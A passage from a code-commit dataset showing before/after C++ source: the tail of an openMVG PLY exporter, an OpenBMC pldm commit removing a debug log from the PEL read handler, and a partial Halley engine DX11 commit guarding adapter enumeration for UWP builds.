: landmarks )\n        {\n          if (b_write_in_ascii)\n          {\n            stream\n              << iterLandmarks.second.X(0) << ' '\n              << iterLandmarks.second.X(1) << ' '\n              << iterLandmarks.second.X(2) << ' '\n              << \"255 255 255\\n\";\n          }\n          else\n          {\n            stream.write( reinterpret_cast<const char*> ( iterLandmarks.second.X.data() ), sizeof( Vec3 ) );\n            stream.write( reinterpret_cast<const char*> ( Vec3uc(255, 255, 255).data() ), sizeof( Vec3uc ) );\n          }\n        }\n      }\n\n      if (b_control_points)\n      {\n        \/\/ Export GCP as Red points\n        const Landmarks & landmarks = sfm_data.GetControl_Points();\n        for ( const auto & iterGCP : landmarks )\n        {\n          if (b_write_in_ascii)\n          {\n            stream\n              << iterGCP.second.X(0) << ' '\n              << iterGCP.second.X(1) << ' '\n              << iterGCP.second.X(2) << ' '\n              << \"255 0 0\\n\";\n          }\n          else\n          {\n            stream.write( reinterpret_cast<const char*> ( iterGCP.second.X.data() ), sizeof( Vec3 ) );\n            stream.write( reinterpret_cast<const char*> ( Vec3uc(255, 255, 255).data() ), sizeof( Vec3uc ) );\n          }\n        }\n      }\n\n      stream.flush();\n      bOk = stream.good();\n      stream.close();\n  }\n  return bOk;\n}\n\n} \/\/ namespace sfm\n} \/\/ namespace openMVG\n\n#endif \/\/ OPENMVG_SFM_SFM_DATA_IO_PLY_HPP\n<|endoftext|>"}
{"text":"<commit_before>#include \"config.h\"\n\n#include \"file_io_type_pel.hpp\"\n\n#include \"utils.hpp\"\n#include \"xyz\/openbmc_project\/Common\/error.hpp\"\n\n#include <stdint.h>\n#include <systemd\/sd-bus.h>\n#include <unistd.h>\n\n#include <exception>\n#include <filesystem>\n#include <iostream>\n#include <sdbusplus\/server.hpp>\n#include <vector>\n#include <xyz\/openbmc_project\/Logging\/Entry\/server.hpp>\n\n#include \"libpldm\/base.h\"\n#include \"oem\/ibm\/libpldm\/file_io.h\"\n\nnamespace pldm\n{\nnamespace responder\n{\n\nint PelHandler::readIntoMemory(uint32_t offset, uint32_t& length,\n                               uint64_t address)\n{\n    static constexpr auto logObjPath = \"\/xyz\/openbmc_project\/logging\";\n    static constexpr auto logInterface = \"org.open_power.Logging.PEL\";\n\n    auto& bus = pldm::utils::DBusHandler::getBus();\n\n    try\n    {\n        auto service =\n            pldm::utils::DBusHandler().getService(logObjPath, logInterface);\n        auto method = bus.new_method_call(service.c_str(), logObjPath,\n                                          logInterface, \"GetPEL\");\n        method.append(fileHandle);\n        auto reply = bus.call(method);\n        sdbusplus::message::unix_fd fd{};\n        reply.read(fd);\n        auto rc = transferFileData(fd, true, offset, length, address);\n        return rc;\n    }\n    catch (const std::exception& e)\n    {\n        std::cerr << \"GetPEL D-Bus call failed, PEL id = \" << fileHandle\n                  << \", error = \" << e.what() << \"\\n\";\n        return PLDM_ERROR;\n    }\n\n    return PLDM_SUCCESS;\n}\n\nint PelHandler::read(uint32_t offset, uint32_t& length, Response& response)\n{\n    static constexpr auto logObjPath = \"\/xyz\/openbmc_project\/logging\";\n    static constexpr auto logInterface = \"org.open_power.Logging.PEL\";\n    auto& bus = pldm::utils::DBusHandler::getBus();\n\n    try\n    {\n        auto service =\n            pldm::utils::DBusHandler().getService(logObjPath, logInterface);\n        auto method = bus.new_method_call(service.c_str(), logObjPath,\n                                          logInterface, \"GetPEL\");\n        method.append(fileHandle);\n        auto reply = bus.call(method);\n        sdbusplus::message::unix_fd fd{};\n        reply.read(fd);\n        std::cerr << \"GetPEL D-Bus call done\\n\";\n        off_t fileSize = lseek(fd, 0, SEEK_END);\n        if (fileSize == -1)\n        {\n            std::cerr << \"file seek failed\";\n            return PLDM_ERROR;\n        }\n        if (offset >= fileSize)\n        {\n            std::cerr << \"Offset exceeds file size, OFFSET=\" << offset\n                      << \" FILE_SIZE=\" << fileSize << std::endl;\n            return PLDM_DATA_OUT_OF_RANGE;\n        }\n        if (offset + length > fileSize)\n        {\n            length = fileSize - offset;\n        }\n        auto rc = lseek(fd, offset, SEEK_SET);\n        if (rc == -1)\n        {\n            std::cerr << \"file seek failed\";\n            return PLDM_ERROR;\n        }\n        size_t currSize = response.size();\n        response.resize(currSize + length);\n        auto filePos = reinterpret_cast<char*>(response.data());\n        filePos += currSize;\n        rc = ::read(fd, filePos, length);\n        if (rc == -1)\n        {\n            std::cerr << \"file read failed\";\n            return PLDM_ERROR;\n        }\n        if (rc != length)\n        {\n            std::cerr << \"mismatch between number of characters to read and \"\n                      << \"the length read, LENGTH=\" << length << \" COUNT=\" << rc\n                      << std::endl;\n            return PLDM_ERROR;\n        }\n    }\n    catch (const std::exception& e)\n    {\n        std::cerr << \"GetPEL D-Bus call failed\";\n        return PLDM_ERROR;\n    }\n    return PLDM_SUCCESS;\n}\n\nint PelHandler::writeFromMemory(uint32_t offset, uint32_t length,\n                                uint64_t address)\n{\n    char tmpFile[] = \"\/tmp\/pel.XXXXXX\";\n    int fd = mkstemp(tmpFile);\n    if (fd == -1)\n    {\n        std::cerr << \"failed to create a temporary pel, ERROR=\" << errno\n                  << \"\\n\";\n        return PLDM_ERROR;\n    }\n    close(fd);\n    fs::path path(tmpFile);\n\n    auto rc = transferFileData(path, false, offset, length, address);\n    if (rc == PLDM_SUCCESS)\n    {\n        rc = storePel(path.string());\n    }\n    fs::remove(path);\n    return rc;\n}\n\nint PelHandler::fileAck(uint8_t \/*fileStatus*\/)\n{\n    static constexpr auto logObjPath = \"\/xyz\/openbmc_project\/logging\";\n    static constexpr auto logInterface = \"org.open_power.Logging.PEL\";\n    auto& bus = pldm::utils::DBusHandler::getBus();\n\n    try\n    {\n        auto service =\n            pldm::utils::DBusHandler().getService(logObjPath, logInterface);\n        auto method = bus.new_method_call(service.c_str(), logObjPath,\n                                          logInterface, \"HostAck\");\n        method.append(fileHandle);\n        bus.call_noreply(method);\n    }\n    catch (const std::exception& e)\n    {\n        std::cerr << \"HostAck D-Bus call failed\";\n        return PLDM_ERROR;\n    }\n\n    return PLDM_SUCCESS;\n}\n\nint PelHandler::storePel(std::string&& pelFileName)\n{\n    static constexpr auto logObjPath = \"\/xyz\/openbmc_project\/logging\";\n    static constexpr auto logInterface = \"xyz.openbmc_project.Logging.Create\";\n\n    auto& bus = pldm::utils::DBusHandler::getBus();\n\n    try\n    {\n        auto service =\n            pldm::utils::DBusHandler().getService(logObjPath, logInterface);\n        using namespace sdbusplus::xyz::openbmc_project::Logging::server;\n        std::map<std::string, std::string> addlData{};\n        addlData.emplace(\"RAWPEL\", std::move(pelFileName));\n        auto severity =\n            sdbusplus::xyz::openbmc_project::Logging::server::convertForMessage(\n                sdbusplus::xyz::openbmc_project::Logging::server::Entry::Level::\n                    Error);\n\n        auto method = bus.new_method_call(service.c_str(), logObjPath,\n                                          logInterface, \"Create\");\n        method.append(\"xyz.openbmc_project.Host.Error.Event\", severity,\n                      addlData);\n        bus.call_noreply(method);\n    }\n    catch (const std::exception& e)\n    {\n        std::cerr << \"failed to make a d-bus call to PEL daemon, ERROR=\"\n                  << e.what() << \"\\n\";\n        return PLDM_ERROR;\n    }\n\n    return PLDM_SUCCESS;\n}\n\n} \/\/ namespace responder\n} \/\/ namespace pldm\n<commit_msg>oem-ibm: remove debug log in PEL read handler<commit_after>#include \"config.h\"\n\n#include \"file_io_type_pel.hpp\"\n\n#include \"utils.hpp\"\n#include \"xyz\/openbmc_project\/Common\/error.hpp\"\n\n#include <stdint.h>\n#include <systemd\/sd-bus.h>\n#include <unistd.h>\n\n#include <exception>\n#include <filesystem>\n#include <iostream>\n#include <sdbusplus\/server.hpp>\n#include <vector>\n#include <xyz\/openbmc_project\/Logging\/Entry\/server.hpp>\n\n#include \"libpldm\/base.h\"\n#include \"oem\/ibm\/libpldm\/file_io.h\"\n\nnamespace pldm\n{\nnamespace responder\n{\n\nint PelHandler::readIntoMemory(uint32_t offset, uint32_t& length,\n                               uint64_t address)\n{\n    static constexpr auto logObjPath = \"\/xyz\/openbmc_project\/logging\";\n    static constexpr auto logInterface = \"org.open_power.Logging.PEL\";\n\n    auto& bus = pldm::utils::DBusHandler::getBus();\n\n    try\n    {\n        auto service =\n            pldm::utils::DBusHandler().getService(logObjPath, logInterface);\n        auto method = bus.new_method_call(service.c_str(), logObjPath,\n                                          logInterface, \"GetPEL\");\n        method.append(fileHandle);\n        auto reply = bus.call(method);\n        sdbusplus::message::unix_fd fd{};\n        reply.read(fd);\n        auto rc = transferFileData(fd, true, offset, length, address);\n        return rc;\n    }\n    catch (const std::exception& e)\n    {\n        std::cerr << \"GetPEL D-Bus call failed, PEL id = \" << fileHandle\n                  << \", error = \" << e.what() << \"\\n\";\n        return PLDM_ERROR;\n    }\n\n    return PLDM_SUCCESS;\n}\n\nint PelHandler::read(uint32_t offset, uint32_t& length, Response& response)\n{\n    static constexpr auto logObjPath = \"\/xyz\/openbmc_project\/logging\";\n    static constexpr auto logInterface = \"org.open_power.Logging.PEL\";\n    auto& bus = pldm::utils::DBusHandler::getBus();\n\n    try\n    {\n        auto service =\n            pldm::utils::DBusHandler().getService(logObjPath, logInterface);\n        auto method = bus.new_method_call(service.c_str(), logObjPath,\n                                          logInterface, \"GetPEL\");\n        method.append(fileHandle);\n        auto reply = bus.call(method);\n        sdbusplus::message::unix_fd fd{};\n        reply.read(fd);\n\n        off_t fileSize = lseek(fd, 0, SEEK_END);\n        if (fileSize == -1)\n        {\n            std::cerr << \"file seek failed\";\n            return PLDM_ERROR;\n        }\n        if (offset >= fileSize)\n        {\n            std::cerr << \"Offset exceeds file size, OFFSET=\" << offset\n                      << \" FILE_SIZE=\" << fileSize << std::endl;\n            return PLDM_DATA_OUT_OF_RANGE;\n        }\n        if (offset + length > fileSize)\n        {\n            length = fileSize - offset;\n        }\n        auto rc = lseek(fd, offset, SEEK_SET);\n        if (rc == -1)\n        {\n            std::cerr << \"file seek failed\";\n            return PLDM_ERROR;\n        }\n        size_t currSize = response.size();\n        response.resize(currSize + length);\n        auto filePos = reinterpret_cast<char*>(response.data());\n        filePos += currSize;\n        rc = ::read(fd, filePos, length);\n        if (rc == -1)\n        {\n            std::cerr << \"file read failed\";\n            return PLDM_ERROR;\n        }\n        if (rc != length)\n        {\n            std::cerr << \"mismatch between number of characters to read and \"\n                      << \"the length read, LENGTH=\" << length << \" COUNT=\" << rc\n                      << std::endl;\n            return PLDM_ERROR;\n        }\n    }\n    catch (const std::exception& e)\n    {\n        std::cerr << \"GetPEL D-Bus call failed\";\n        return PLDM_ERROR;\n    }\n    return PLDM_SUCCESS;\n}\n\nint PelHandler::writeFromMemory(uint32_t offset, uint32_t length,\n                                uint64_t address)\n{\n    char tmpFile[] = \"\/tmp\/pel.XXXXXX\";\n    int fd = mkstemp(tmpFile);\n    if (fd == -1)\n    {\n        std::cerr << \"failed to create a temporary pel, ERROR=\" << errno\n                  << \"\\n\";\n        return PLDM_ERROR;\n    }\n    close(fd);\n    fs::path path(tmpFile);\n\n    auto rc = transferFileData(path, false, offset, length, address);\n    if (rc == PLDM_SUCCESS)\n    {\n        rc = storePel(path.string());\n    }\n    fs::remove(path);\n    return rc;\n}\n\nint PelHandler::fileAck(uint8_t \/*fileStatus*\/)\n{\n    static constexpr auto logObjPath = \"\/xyz\/openbmc_project\/logging\";\n    static constexpr auto logInterface = \"org.open_power.Logging.PEL\";\n    auto& bus = pldm::utils::DBusHandler::getBus();\n\n    try\n    {\n        auto service =\n            pldm::utils::DBusHandler().getService(logObjPath, logInterface);\n        auto method = bus.new_method_call(service.c_str(), logObjPath,\n                                          logInterface, \"HostAck\");\n        method.append(fileHandle);\n        bus.call_noreply(method);\n    }\n    catch (const std::exception& e)\n    {\n        std::cerr << \"HostAck D-Bus call failed\";\n        return PLDM_ERROR;\n    }\n\n    return PLDM_SUCCESS;\n}\n\nint PelHandler::storePel(std::string&& pelFileName)\n{\n    static constexpr auto logObjPath = \"\/xyz\/openbmc_project\/logging\";\n    static constexpr auto logInterface = \"xyz.openbmc_project.Logging.Create\";\n\n    auto& bus = pldm::utils::DBusHandler::getBus();\n\n    try\n    {\n        auto service =\n            pldm::utils::DBusHandler().getService(logObjPath, logInterface);\n        using namespace sdbusplus::xyz::openbmc_project::Logging::server;\n        std::map<std::string, std::string> addlData{};\n        addlData.emplace(\"RAWPEL\", std::move(pelFileName));\n        auto severity =\n            sdbusplus::xyz::openbmc_project::Logging::server::convertForMessage(\n                sdbusplus::xyz::openbmc_project::Logging::server::Entry::Level::\n                    Error);\n\n        auto method = bus.new_method_call(service.c_str(), logObjPath,\n                                          logInterface, \"Create\");\n        method.append(\"xyz.openbmc_project.Host.Error.Event\", severity,\n                      addlData);\n        bus.call_noreply(method);\n    }\n    catch (const std::exception& e)\n    {\n        std::cerr << \"failed to make a d-bus call to PEL daemon, ERROR=\"\n                  << e.what() << \"\\n\";\n        return PLDM_ERROR;\n    }\n\n    return PLDM_SUCCESS;\n}\n\n} \/\/ namespace responder\n} \/\/ namespace pldm\n<|endoftext|>"}
{"text":"<commit_before>#include \"dx11_video.h\"\n#include \"dx11_painter.h\"\n#include \"dx11_shader.h\"\n#include \"dx11_texture.h\"\n#include \"dx11_render_target.h\"\n#include \"dx11_material_constant_buffer.h\"\n\n#include <windows.h>\n#include <windowsx.h>\n#include <d3d11.h>\n#include <DXGI1_2.h>\n#include <DXGI.h>\n#include \"dx11_loader.h\"\n#include \"halley\/support\/logger.h\"\n#include \"halley\/support\/debug.h\"\n\n#pragma comment (lib, \"d3d11.lib\")\n#pragma comment (lib, \"Dxgi.lib\")\n\nusing namespace Halley;\n\nDX11Video::DX11Video(SystemAPI& system)\n\t: system(system)\n{}\n\nvoid DX11Video::init()\n{\n\tloader = std::make_unique<DX11Loader>(*this);\n}\n\nvoid DX11Video::deInit()\n{\n\tloader.reset();\n\treleaseD3D();\n}\n\nvoid DX11Video::initD3D(Window& window)\n{\n\tif (initialised) {\n\t\treturn;\n\t}\n\n\tIDXGIFactory* factory;\n\tCreateDXGIFactory(__uuidof(IDXGIFactory), reinterpret_cast<void**>(&factory));\n\tIDXGIAdapter* adapter;\n\tfactory->EnumAdapters(0, &adapter);\n\tif (adapter) {\n\t\tDXGI_ADAPTER_DESC desc;\n\t\tadapter->GetDesc(&desc);\n\t\tLogger::logInfo(\"Using display adapter for DX11: \" + String(desc.Description));\n\t}\n\n\tID3D11DeviceContext* dc;\n\tD3D_FEATURE_LEVEL featureLevels[] = { D3D_FEATURE_LEVEL_11_0, D3D_FEATURE_LEVEL_10_1, D3D_FEATURE_LEVEL_10_0 };\n\tuint32_t flags = 0;\n\tif (Debug::isDebug()) {\n\t\tflags |= D3D11_CREATE_DEVICE_DEBUG;\n\t} else {\n\t\tflags |= D3D11_CREATE_DEVICE_VIDEO_SUPPORT;\n\t}\n\tauto result = D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, nullptr, flags, featureLevels, 3, D3D11_SDK_VERSION, &device, nullptr, &dc);\n\tif (result != S_OK) {\n\t\tthrow Exception(\"Unable to initialise DX11\", HalleyExceptions::VideoPlugin);\n\t}\n\tdc->QueryInterface(__uuidof(ID3D11DeviceContext1), reinterpret_cast<void**>(&deviceContext));\n\tif (!dc) {\n\t\tthrow Exception(\"Unable to initialise DX11.1\", HalleyExceptions::VideoPlugin);\n\t}\n\n\tID3D10Multithread* mt;\n\tdevice->QueryInterface(__uuidof(ID3D10Multithread), reinterpret_cast<void**>(&mt));\n\tif (mt) {\n\t\tmt->SetMultithreadProtected(true);\n\t}\n\n\tinitSwapChain(window);\n\n\tinitialised = true;\n}\n\nvoid DX11Video::initSwapChain(Window& window)\n{\n\tif (swapChain) {\n\t\tswapChain->Release();\n\t\tswapChain = nullptr;\n\t}\n\n\tauto size = window.getWindowRect().getSize();\n\tconst bool usingCoreWindow = window.getNativeHandleType() == \"CoreWindow\";\n\n\tIDXGIDevice2* pDXGIDevice;\n\tdevice->QueryInterface(__uuidof(IDXGIDevice2), reinterpret_cast<void **>(&pDXGIDevice));\n\tIDXGIAdapter * pDXGIAdapter;\n\tpDXGIDevice->GetParent(__uuidof(IDXGIAdapter), reinterpret_cast<void **>(&pDXGIAdapter));\n\tIDXGIFactory2 * pIDXGIFactory;\n\tpDXGIAdapter->GetParent(__uuidof(IDXGIFactory2), reinterpret_cast<void **>(&pIDXGIFactory));\n\n\tDXGI_SWAP_CHAIN_DESC1 swapChainDesc;\n\tZeroMemory(&swapChainDesc, sizeof(DXGI_SWAP_CHAIN_DESC1));\n\tswapChainDesc.Width = size.x;\n\tswapChainDesc.Height = size.y;\n\tswapChainDesc.BufferCount = 1;\n\tswapChainDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;\n\tswapChainDesc.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT;\n\tswapChainDesc.BufferCount = 2;\n\tswapChainDesc.SampleDesc.Count = 1;\n\n\tif (usingCoreWindow) {\n#if WINVER >= 0x0A00\n\t\tswapChainDesc.SwapEffect = DXGI_SWAP_EFFECT_FLIP_DISCARD;\n#else\n\t\tswapChainDesc.SwapEffect = DXGI_SWAP_EFFECT_DISCARD;\n#endif\n\t\tswapChainDesc.Scaling = DXGI_SCALING_ASPECT_RATIO_STRETCH;\n\t\tswapChainDesc.AlphaMode = DXGI_ALPHA_MODE_IGNORE;\n\n\t\tIUnknown* coreWindow = reinterpret_cast<IUnknown*>(window.getNativeHandle());\n\t\tauto result = pIDXGIFactory->CreateSwapChainForCoreWindow(device, coreWindow, &swapChainDesc, nullptr, &swapChain);\n\t\tif (result != S_OK) {\n\t\t\tthrow Exception(\"Unable to create swap chain for CoreWindow\", HalleyExceptions::VideoPlugin);\n\t\t}\n\t} else {\n\t\tauto hWnd = reinterpret_cast<HWND>(window.getNativeHandle());\n\t\tauto result = pIDXGIFactory->CreateSwapChainForHwnd(device, hWnd, &swapChainDesc, nullptr, nullptr, &swapChain);\n\t\tif (result != S_OK) {\n\t\t\tthrow Exception(\"Unable to create swap chain for HWND\", HalleyExceptions::VideoPlugin);\n\t\t}\n\t}\n\n\tswapChainSize = size;\n\n\tinitBackBuffer();\n}\n\nvoid DX11Video::initBackBuffer()\n{\n\tif (backbuffer) {\n\t\tbackbuffer->Release();\n\t\tbackbuffer = nullptr;\n\t}\n\n\tID3D11Texture2D *pBackBuffer;\n    swapChain->GetBuffer(0, __uuidof(ID3D11Texture2D), reinterpret_cast<LPVOID*>(&pBackBuffer));\n    device->CreateRenderTargetView(pBackBuffer, nullptr, &backbuffer);\n    pBackBuffer->Release();\n}\n\nvoid DX11Video::resizeSwapChain(Vector2i size)\n{\n\tif (backbuffer) {\n\t\tbackbuffer->Release();\n\t\tbackbuffer = nullptr;\n\t}\n\t\n\tHRESULT result = swapChain->ResizeBuffers(0, size.x, size.y, DXGI_FORMAT_UNKNOWN, 0);\n\tif (result != S_OK) {\n\t\tthrow Exception(\"Unable to resize swap chain\", HalleyExceptions::VideoPlugin);\n\t}\n\n\tswapChainSize = size;\n\n\tinitBackBuffer();\n}\n\nvoid DX11Video::releaseD3D()\n{\n\tif (!initialised) {\n\t\treturn;\n\t}\n\n\tif (backbuffer) {\n\t\tbackbuffer->Release();\n\t\tbackbuffer = nullptr;\n\t}\n\n\tif (swapChain) {\n\t\tswapChain->Release();\n\t\tswapChain = nullptr;\n\t}\n\n\tdevice->Release();\n\tdeviceContext->Release();\n\tinitialised = false;\n}\n\nvoid DX11Video::startRender()\n{\n}\n\nvoid DX11Video::finishRender()\n{\n    swapChain->Present(useVsync ? 1 : 0, 0);\n}\n\nvoid DX11Video::setWindow(WindowDefinition&& windowDescriptor)\n{\n\tif (!window) {\n\t\twindow = system.createWindow(windowDescriptor);\n\t\tinitD3D(*window);\n\t} else {\n\t\twindow->update(windowDescriptor);\n\t}\n}\n\nconst Window& DX11Video::getWindow() const\n{\n\treturn *window;\n}\n\nbool DX11Video::hasWindow() const\n{\n\treturn !!window;\n}\n\nvoid DX11Video::setVsync(bool vsync)\n{\n\tuseVsync = vsync;\n}\n\nstd::unique_ptr<Texture> DX11Video::createTexture(Vector2i size)\n{\n\treturn std::make_unique<DX11Texture>(*this, size);\n}\n\nstd::unique_ptr<Shader> DX11Video::createShader(const ShaderDefinition& definition)\n{\n\treturn std::make_unique<DX11Shader>(*this, definition);\n}\n\nstd::unique_ptr<TextureRenderTarget> DX11Video::createTextureRenderTarget()\n{\n\treturn std::make_unique<DX11TextureRenderTarget>(*this);\n}\n\nstd::unique_ptr<ScreenRenderTarget> DX11Video::createScreenRenderTarget()\n{\n\tauto view = Rect4i(Vector2i(), window->getWindowRect().getSize());\n\tif (swapChainSize != view.getSize()) {\n\t\tresizeSwapChain(view.getSize());\n\t}\n\n\treturn std::make_unique<DX11ScreenRenderTarget>(*this, view, backbuffer);\n}\n\nstd::unique_ptr<MaterialConstantBuffer> DX11Video::createConstantBuffer()\n{\n\treturn std::make_unique<DX11MaterialConstantBuffer>(*this);\n}\n\nstd::unique_ptr<Painter> DX11Video::makePainter(Resources& resources)\n{\n\treturn std::make_unique<DX11Painter>(*this, resources);\n}\n\nString DX11Video::getShaderLanguage()\n{\n\treturn \"hlsl\";\n}\n\nID3D11Device& DX11Video::getDevice()\n{\n\treturn *device;\n}\n\nID3D11DeviceContext1& DX11Video::getDeviceContext()\n{\n\treturn *deviceContext;\n}\n\nSystemAPI& DX11Video::getSystem()\n{\n\treturn system;\n}\n\nvoid* DX11Video::getImplementationPointer(const String& id)\n{\n\tif (id == \"ID3D11Device\") {\n\t\treturn static_cast<IUnknown*>(device);\n\t}\n\treturn nullptr;\n}\n<commit_msg>Fix UWP >_><commit_after>#include \"dx11_video.h\"\n#include \"dx11_painter.h\"\n#include \"dx11_shader.h\"\n#include \"dx11_texture.h\"\n#include \"dx11_render_target.h\"\n#include \"dx11_material_constant_buffer.h\"\n\n#include <windows.h>\n#include <windowsx.h>\n#include <d3d11.h>\n#include <DXGI1_2.h>\n#include <DXGI.h>\n#include \"dx11_loader.h\"\n#include \"halley\/support\/logger.h\"\n#include \"halley\/support\/debug.h\"\n\n#pragma comment (lib, \"d3d11.lib\")\n#pragma comment (lib, \"Dxgi.lib\")\n\nusing namespace Halley;\n\nDX11Video::DX11Video(SystemAPI& system)\n\t: system(system)\n{}\n\nvoid DX11Video::init()\n{\n\tloader = std::make_unique<DX11Loader>(*this);\n}\n\nvoid DX11Video::deInit()\n{\n\tloader.reset();\n\treleaseD3D();\n}\n\nvoid DX11Video::initD3D(Window& window)\n{\n\tif (initialised) {\n\t\treturn;\n\t}\n\n#ifndef WINDOWS_STORE\n\t{\n\t\tIDXGIFactory* factory;\n\t\tCreateDXGIFactory(__uuidof(IDXGIFactory), reinterpret_cast<void**>(&factory));\n\t\tIDXGIAdapter* adapter;\n\t\tfactory->EnumAdapters(0, &adapter);\n\t\tif (adapter) {\n\t\t\tDXGI_ADAPTER_DESC desc;\n\t\t\tadapter->GetDesc(&desc);\n\t\t\tLogger::logInfo(\"Using display adapter for DX11: \" + String(desc.Description));\n\t\t}\n\t}\n#endif\n\n\tID3D11DeviceContext* dc;\n\tD3D_FEATURE_LEVEL featureLevels[] = { D3D_FEATURE_LEVEL_11_0, D3D_FEATURE_LEVEL_10_1, D3D_FEATURE_LEVEL_10_0 };\n\tuint32_t flags = 0;\n\tif (Debug::isDebug()) {\n\t\tflags |= D3D11_CREATE_DEVICE_DEBUG;\n\t} else {\n\t\tflags |= D3D11_CREATE_DEVICE_VIDEO_SUPPORT;\n\t}\n\tauto result = D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, nullptr, flags, featureLevels, 3, D3D11_SDK_VERSION, &device, nullptr, &dc);\n\tif (result != S_OK) {\n\t\tthrow Exception(\"Unable to initialise DX11\", HalleyExceptions::VideoPlugin);\n\t}\n\tdc->QueryInterface(__uuidof(ID3D11DeviceContext1), reinterpret_cast<void**>(&deviceContext));\n\tif (!dc) {\n\t\tthrow Exception(\"Unable to initialise DX11.1\", HalleyExceptions::VideoPlugin);\n\t}\n\n\tID3D10Multithread* mt;\n\tdevice->QueryInterface(__uuidof(ID3D10Multithread), reinterpret_cast<void**>(&mt));\n\tif (mt) {\n\t\tmt->SetMultithreadProtected(true);\n\t}\n\n\tinitSwapChain(window);\n\n\tinitialised = true;\n}\n\nvoid DX11Video::initSwapChain(Window& window)\n{\n\tif (swapChain) {\n\t\tswapChain->Release();\n\t\tswapChain = nullptr;\n\t}\n\n\tauto size = window.getWindowRect().getSize();\n\tconst bool usingCoreWindow = window.getNativeHandleType() == \"CoreWindow\";\n\n\tIDXGIDevice2* pDXGIDevice;\n\tdevice->QueryInterface(__uuidof(IDXGIDevice2), reinterpret_cast<void **>(&pDXGIDevice));\n\tIDXGIAdapter * pDXGIAdapter;\n\tpDXGIDevice->GetParent(__uuidof(IDXGIAdapter), reinterpret_cast<void **>(&pDXGIAdapter));\n\tIDXGIFactory2 * pIDXGIFactory;\n\tpDXGIAdapter->GetParent(__uuidof(IDXGIFactory2), reinterpret_cast<void **>(&pIDXGIFactory));\n\n\tDXGI_SWAP_CHAIN_DESC1 swapChainDesc;\n\tZeroMemory(&swapChainDesc, sizeof(DXGI_SWAP_CHAIN_DESC1));\n\tswapChainDesc.Width = size.x;\n\tswapChainDesc.Height = size.y;\n\tswapChainDesc.BufferCount = 1;\n\tswapChainDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;\n\tswapChainDesc.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT;\n\tswapChainDesc.BufferCount = 2;\n\tswapChainDesc.SampleDesc.Count = 1;\n\n\tif (usingCoreWindow) {\n#if WINVER >= 0x0A00\n\t\tswapChainDesc.SwapEffect = DXGI_SWAP_EFFECT_FLIP_DISCARD;\n#else\n\t\tswapChainDesc.SwapEffect = DXGI_SWAP_EFFECT_DISCARD;\n#endif\n\t\tswapChainDesc.Scaling = DXGI_SCALING_ASPECT_RATIO_STRETCH;\n\t\tswapChainDesc.AlphaMode = DXGI_ALPHA_MODE_IGNORE;\n\n\t\tIUnknown* coreWindow = reinterpret_cast<IUnknown*>(window.getNativeHandle());\n\t\tauto result = pIDXGIFactory->CreateSwapChainForCoreWindow(device, coreWindow, &swapChainDesc, nullptr, &swapChain);\n\t\tif (result != S_OK) {\n\t\t\tthrow Exception(\"Unable to create swap chain for CoreWindow\", HalleyExceptions::VideoPlugin);\n\t\t}\n\t} else {\n\t\tauto hWnd = reinterpret_cast<HWND>(window.getNativeHandle());\n\t\tauto result = pIDXGIFactory->CreateSwapChainForHwnd(device, hWnd, &swapChainDesc, nullptr, nullptr, &swapChain);\n\t\tif (result != S_OK) {\n\t\t\tthrow Exception(\"Unable to create swap chain for HWND\", HalleyExceptions::VideoPlugin);\n\t\t}\n\t}\n\n\tswapChainSize = size;\n\n\tinitBackBuffer();\n}\n\nvoid DX11Video::initBackBuffer()\n{\n\tif (backbuffer) {\n\t\tbackbuffer->Release();\n\t\tbackbuffer = nullptr;\n\t}\n\n\tID3D11Texture2D *pBackBuffer;\n    swapChain->GetBuffer(0, __uuidof(ID3D11Texture2D), reinterpret_cast<LPVOID*>(&pBackBuffer));\n    device->CreateRenderTargetView(pBackBuffer, nullptr, &backbuffer);\n    pBackBuffer->Release();\n}\n\nvoid DX11Video::resizeSwapChain(Vector2i size)\n{\n\tif (backbuffer) {\n\t\tbackbuffer->Release();\n\t\tbackbuffer = nullptr;\n\t}\n\t\n\tHRESULT result = swapChain->ResizeBuffers(0, size.x, size.y, DXGI_FORMAT_UNKNOWN, 0);\n\tif (result != S_OK) {\n\t\tthrow Exception(\"Unable to resize swap chain\", HalleyExceptions::VideoPlugin);\n\t}\n\n\tswapChainSize = size;\n\n\tinitBackBuffer();\n}\n\nvoid DX11Video::releaseD3D()\n{\n\tif (!initialised) {\n\t\treturn;\n\t}\n\n\tif (backbuffer) {\n\t\tbackbuffer->Release();\n\t\tbackbuffer = nullptr;\n\t}\n\n\tif (swapChain) {\n\t\tswapChain->Release();\n\t\tswapChain = nullptr;\n\t}\n\n\tdevice->Release();\n\tdeviceContext->Release();\n\tinitialised = false;\n}\n\nvoid DX11Video::startRender()\n{\n}\n\nvoid DX11Video::finishRender()\n{\n    swapChain->Present(useVsync ? 1 : 0, 0);\n}\n\nvoid DX11Video::setWindow(WindowDefinition&& windowDescriptor)\n{\n\tif (!window) {\n\t\twindow = system.createWindow(windowDescriptor);\n\t\tinitD3D(*window);\n\t} else {\n\t\twindow->update(windowDescriptor);\n\t}\n}\n\nconst Window& DX11Video::getWindow() const\n{\n\treturn *window;\n}\n\nbool DX11Video::hasWindow() const\n{\n\treturn !!window;\n}\n\nvoid DX11Video::setVsync(bool vsync)\n{\n\tuseVsync = vsync;\n}\n\nstd::unique_ptr<Texture> DX11Video::createTexture(Vector2i size)\n{\n\treturn std::make_unique<DX11Texture>(*this, size);\n}\n\nstd::unique_ptr<Shader> DX11Video::createShader(const ShaderDefinition& definition)\n{\n\treturn std::make_unique<DX11Shader>(*this, definition);\n}\n\nstd::unique_ptr<TextureRenderTarget> DX11Video::createTextureRenderTarget()\n{\n\treturn std::make_unique<DX11TextureRenderTarget>(*this);\n}\n\nstd::unique_ptr<ScreenRenderTarget> DX11Video::createScreenRenderTarget()\n{\n\tauto view = Rect4i(Vector2i(), window->getWindowRect().getSize());\n\tif (swapChainSize != view.getSize()) {\n\t\tresizeSwapChain(view.getSize());\n\t}\n\n\treturn std::make_unique<DX11ScreenRenderTarget>(*this, view, backbuffer);\n}\n\nstd::unique_ptr<MaterialConstantBuffer> DX11Video::createConstantBuffer()\n{\n\treturn std::make_unique<DX11MaterialConstantBuffer>(*this);\n}\n\nstd::unique_ptr<Painter> DX11Video::makePainter(Resources& resources)\n{\n\treturn std::make_unique<DX11Painter>(*this, resources);\n}\n\nString 